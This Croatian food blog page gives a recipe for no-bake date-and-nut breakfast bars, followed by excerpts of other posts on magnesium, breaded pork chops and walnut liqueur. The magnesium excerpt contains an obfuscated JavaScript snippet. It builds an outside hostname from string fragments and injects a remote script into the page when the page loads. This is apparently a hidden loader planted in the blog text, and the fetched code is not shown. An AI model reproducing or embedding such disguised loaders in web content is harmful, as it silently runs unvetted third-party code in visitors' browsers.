ZDRAVE PLOČICE ZA DORUČAK BRZ PEČENJA




Zdrave pločice za doručak bez pečenja 



Za pripremu ovih voćno-orašastih pločica uopće ne morate paliti pećnicu. Svoju meku i sočnu teksturu duguju bazi od datulja i maslaca od badema, dok orasi, indijski oraščići i pistacije pružaju ugodnu hrskavost. Sušeni mango, marelice i višnje unose savršen balans slatkoće i blage kiselkaste note. Recept možete lako prilagoditi vlastitom ukusu — samo zadržite iste ukupne količine i poigrajte se sa svojim omiljenim orašastim plodovima i suhim voćem.




Zdrave pločice za doručak bez pečenja 


Sastojci:

  • ulje u spreju (za podmazivanje kalupa)


  • 1/2 šalice nasjeckanih oraha


  • 1/2 šalice nasjeckanih indijskih oraščića


  • 1/2 šalice nasjeckanih pistacija


  • 1/4 šalice nasjeckanih suhih marelica


  • 1/4 šalice nasjeckanog nezaslađenog suhog manga


  • 1/4 šalice suhih kiselkastih višanja ili brusnica


  • 1/4 šalice sitno naribanog nezaslađenog kokosa (po želji)


  • 2 1/2 šalice (oko 25 komada) datulja bez koštica (Medjool)


  • 1/4 šalice kremastog prirodnog maslaca od badema ili kikirikija


  • 1/4 žličice krupne morske soli




Priprema:

Kvadratni kalup za pečenje dimenzija 23×23 cm pospricajte uljem u spreju. Obložite ga papirom za pečenje tako da papir visi oko 2,5 cm preko dva suprotna ruba (kako biste lakše izvadili smjesu), pa i papir lagano poprskajte uljem. U velikoj zdjeli pomiješajte orahe, indijske oraščiće, pistacije, marelice, mango, višnje i kokos (ako ga koristite). Odvojite 1/4 šalice te mješavine sa strane za posipavanje.


U multipraktik stavite datulje, maslac od badema, sol i 1 žlicu vruće vode. Miksajte 1 do 2 minute dok ne dobijete glatku i gustu smjesu (pastu). Prebacite smjesu u zdjelu s ostalim orašastim plodovima i voćem te sve dobro promiješajte i umijesite rukama dok se sastojci potpuno ne povežu.


Smjesu prebacite u pripremljeni kalup i čvrsto je pritisnite u ravnomjeran sloj. Po vrhu pospite odvojenih 1/4 šalice mješavine orašastih plodova i voća te lagano utisnite dlanovima da se zalijepi. Pokrijte i stavite u hladnjak na oko 2 sata (ili u zamrzivač na 30 minuta) dok se potpuno ne stisne.


Pomoću papira za pečenje koji visi s rubova izvadite stisnuti blok iz kalupa i prebacite na dasku za rezanje. Narežite na pločice željene veličine.


Upute za čuvanje (Make-Ahead)

Pločice čuvajte u hermetički zatvorenoj posudi u hladnjaku do tjedan dana ili ih zamrznite i čuvajte do 2 mjeseca.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više